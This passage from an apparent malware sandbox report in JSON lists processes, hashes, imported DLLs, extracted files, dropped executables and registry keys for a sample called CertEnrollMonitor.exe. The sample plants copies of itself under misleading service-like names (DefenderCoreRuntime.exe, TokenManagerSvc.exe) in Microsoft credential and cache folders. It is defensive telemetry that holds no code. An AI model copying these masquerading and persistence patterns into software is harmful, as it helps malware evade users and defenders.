:"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00004168","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7004,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00007004","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5088,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00005088","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7164,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00007164","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3800,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00003800","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7612,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00007612","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4528,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00004528","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7772,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00007772","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2920,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00002920","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4696,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00004696","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7424,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\CertEnrollMonitor.exe","uid":"00000000-00007424","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["bcryptprimitives.dll","winmm.dll","clr.dll","vcruntime140_clr0400.dll","WF68R6pF.dll","System.Data.dll","sppc.dll","mi.dll","atl.dll","msvcrt.dll","win32u.dll","ntmarta.dll","msctf.dll","WindowsCodecs.dll","mscorlib.ni.dll","System.Core.ni.dll","rpcrt4.dll","msvcp_win.dll","wininet.dll","ulib.dll","fsutilext.dll","wintrust.dll","amsi.dll","System.DirectoryServices.ni.dll","advapi32.dll","bcrypt.dll","shlwapi.dll","VxSSL64.dll","version.dll","Microsoft.PowerShell.Security.ni.dll","System.Transactions.dll","slc.dll","sspicli.dll","mscoree.dll","ucrtbase_clr0400.dll","Microsoft.Management.Infrastructure.ni.dll","System.Xml.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","System.Configuration.Install.ni.dll","kernel32.dll","ole32.dll","System.ni.dll","System.Management.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","gdi32full.dll","oleaut32.dll","MpOAV.dll","System.Data.ni.dll","wldp.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wmidcom.dll","wbemprox.dll","apphelp.dll","sechost.dll","cfgmgr32.dll","profapi.dll","ws2_32.dll","rsaenh.dll","clrjit.dll","dpapi.dll","crypt32.dll","GdiPlus.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","fastprox.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","ntdll.dll","KernelBase.dll","user32.dll","userenv.dll","secur32.dll","miutils.dll","cryptbase.dll","clbcatq.dll","gpapi.dll","wbemsvc.dll","kernel.appcore.dll","fltLib.dll","uxtheme.dll","SHCore.dll","winmmbase.dll","mscoreei.dll","MpClient.dll","imm32.dll","System.Management.Automation.ni.dll","System.Configuration.ni.dll","System.Transactions.ni.dll","wbemcomn.dll","ucrtbase.dll","msasn1.dll","gdi32.dll","combase.dll","shell32.dll","windows.storage.dll","cryptsp.dll","psapi.dll","powrprof.dll","mswsock.dll","System.Numerics.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"PerfDiagBroker.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"WmiAdapterMgr.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"AudioDeviceHost.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SearchProtocolMonitor.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"DefenderCoreRuntime.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SecurityHealthSvc.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"StorageSyncService.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"GraphicsDeviceMgr.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"UpdateOrchestratorMonitor.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"FontProviderService.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"GraphicsDeviceBroker.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"GraphicsDeviceMonitor.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"AppCompatibilityRuntime.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"CertEnrollService.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"DiagServiceSvc.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"TokenManagerRuntime.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"EventCollectorRuntime.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"DiagServiceWorker.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"EventCollectorHost.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\CertEnrollMonitor","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"C:\\:Zone.Identifier:$DATA","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\CertEnrollMonitor.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\CertEnrollMonitor.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_hstvoawy.ulw.ps1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_icjdlobr.nyd.psm1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_2entocxr.b0j.ps1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_aatpznpn.ipo.psm1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pqelw33q.j2x.ps1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_yudqh3c1.ndz.psm1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Network","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Network\\WmiAdapterMgr.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Network\\WmiAdapterMgr.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\SystemDispatchWorker.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\SystemDispatchWorker.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Network\\GraphicsDeviceBroker.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Network\\GraphicsDeviceBroker.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\SearchProtocolMonitor.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\SearchProtocolMonitor.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Protect","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Protect\\PerfDiagBroker.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Protect\\PerfDiagBroker.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\FontCache\\AppResolveRuntime.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\FontCache\\AppResolveRuntime.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\TokenManagerRuntime.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\TokenManagerRuntime.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\TokenManagerSvc.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\TokenManagerSvc.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer\\SecurityHealthHost.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer\\SecurityHealthHost.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\DiagServiceWorker.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%APPDATA%\\Microsoft\\Credentials\\DiagServiceWorker.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\FontCache","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\FontCache\\StorageSyncService.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\FontCache\\StorageSyncService.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Media Player","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Media Player\\LicenseAgentRuntime.exe","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Media Player\\LicenseAgentRuntime.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","repor